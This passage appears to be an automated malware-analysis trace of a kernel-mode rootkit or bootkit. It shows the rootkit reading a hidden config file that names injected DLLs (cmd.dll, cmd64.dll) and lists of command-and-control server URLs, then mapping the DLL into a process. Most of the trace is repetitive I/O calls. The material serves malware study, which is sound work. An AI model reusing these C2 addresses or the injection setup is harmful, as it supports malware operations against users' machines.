_Dest="* (x64)=") returned 8 [0078.290] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0078.290] ZwReadFile (in: FileHandle=0xffffffff800003f4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000a8ce60, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000a8ce60*) returned 0x0 [0078.290] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.290] KeEnterCriticalRegion () [0078.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.290] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c89e60 [0078.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003655930 [0078.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0078.290] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0078.290] IdePortDispatch () returned 0x103 [0078.290] KeWaitForMutexObject () returned 0x0 [0078.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0078.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003655930 [0078.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0078.290] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0078.290] IdePortDispatch () returned 0x103 [0078.290] KeWaitForMutexObject () returned 0x0 [0078.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.290] KeLeaveCriticalRegion () [0078.290] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.290] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0078.291] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0078.291] strncpy (in: _Dest=0xfffffa8003661274, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0078.291] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0078.291] ExFreePoolWithTag (P=0xfffff8a000a8ce60, Tag=0x0) [0078.291] ZwClose (Handle=0xffffffff800003f4) returned 0x0 [0078.291] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.291] KeEnterCriticalRegion () [0078.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.291] IoGetRequestorProcess (Irp=0xfffffa80036557b0) returned 0xfffffa80018ab040 [0078.291] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034e7710, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0078.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.291] KeLeaveCriticalRegion () [0078.291] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.291] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.291] KeEnterCriticalRegion () [0078.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.291] ExFreePoolWithTag (P=0xfffffa80036580a0, Tag=0x0) [0078.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.291] KeLeaveCriticalRegion () [0078.291] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.291] KeStackAttachProcess (in: PROCESS=0xfffffa80036566b0, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa80036566b0, ApcState=0xfffff88002f9da58) [0078.291] _snwprintf (in: _Dest=0xfffffa800366106c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0078.291] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0078.291] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0078.291] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0078.291] KeEnterCriticalRegion () [0078.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.291] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0078.291] IdePortDispatch () returned 0x103 [0078.291] KeWaitForMutexObject () returned 0x0 [0078.291] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0078.291] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0078.291] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0078.291] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0078.292] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0078.292] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0078.292] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0078.292] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0078.292] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0078.292] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0078.292] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365d530 [0078.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.292] KeLeaveCriticalRegion () [0078.292] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.292] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800003f4 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0078.292] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0078.292] KeEnterCriticalRegion () [0078.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.292] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0078.292] IdePortDispatch () returned 0x103 [0078.292] KeWaitForMutexObject () returned 0x0 [0078.292] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0078.292] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0078.292] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0078.292] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0078.292] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0078.292] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0078.292] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0078.292] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0078.292] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0078.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.292] KeLeaveCriticalRegion () [0078.292] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.292] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800003ec, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0xfffff88000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0078.292] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0078.292] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0078.292] KeEnterCriticalRegion () [0078.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8a000 [0078.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.293] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.293] IdePortDispatch () returned 0x103 [0078.293] KeWaitForMutexObject () returned 0x0 [0078.293] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0078.293] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0078.293] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0078.293] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0078.293] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0078.293] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0078.293] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0078.293] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0078.293] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0078.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.293] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.293] IdePortDispatch () returned 0x103 [0078.293] KeWaitForMutexObject () returned 0x0 [0078.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.293] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.293] IdePortDispatch () returned 0x103 [0078.294] KeWaitForMutexObject () returned 0x0 [0078.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.294] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.294] IdePortDispatch () returned 0x103 [0078.294] KeWaitForMutexObject () returned 0x0 [0078.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.294] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.294] IdePortDispatch () returned 0x103 [0078.294] KeWaitForMutexObject () returned 0x0 [0078.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.294] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.294] IdePortDispatch () returned 0x103 [0078.294] KeWaitForMutexObject () returned 0x0 [0078.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.294] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.294] IdePortDispatch () returned 0x103 [0078.295] KeWaitForMutexObject () returned 0x0 [0078.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.295] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.295] IdePortDispatch () returned 0x103 [0078.295] KeWaitForMutexObject () returned 0x0 [0078.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.295] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.295] IdePortDispatch () returned 0x103 [0078.295] KeWaitForMutexObject () returned 0x0 [0078.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.295] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.295] IdePortDispatch () returned 0x103 [0078.296] KeWaitForMutexObject () returned 0x0 [0078.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.296] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.296] IdePortDispatch () returned 0x103 [0078.296] KeWaitForMutexObject () returned 0x0 [0078.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.296] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.296] IdePortDispatch () returned 0x103 [0078.296] KeWaitForMutexObject () returned 0x0 [0078.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.296] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.296] IdePortDispatch () returned 0x103 [0078.296] KeWaitForMutexObject () returned 0x0 [0078.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.296] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.296] IdePortDispatch () returned 0x103 [0078.297] KeWaitForMutexObject () returned 0x0 [0078.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.297] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.297] IdePortDispatch () returned 0x103 [0078.297] KeWaitForMutexObject () returned 0x0 [0078.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.297] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.297] IdePortDispatch () returned 0x103 [0078.299] KeWaitForMutexObject () returned 0x0 [0078.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.299] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.299] IdePortDispatch () returned 0x103 [0078.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.300] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.300] IdePortDispatch () returned 0x103 [0078.300] KeWaitForMutexObject () returned 0x0 [0078.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.301] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.301] IdePortDispatch () returned 0x103 [0078.301] KeWaitForMutexObject () returned 0x0 [0078.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.301] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.301] IdePortDispatch () returned 0x103 [0078.301] KeWaitForMutexObject () returned 0x0 [0078.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.301] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.301] IdePortDispatch () returned 0x103 [0078.301] KeWaitForMutexObject () returned 0x0 [0078.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.302] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: 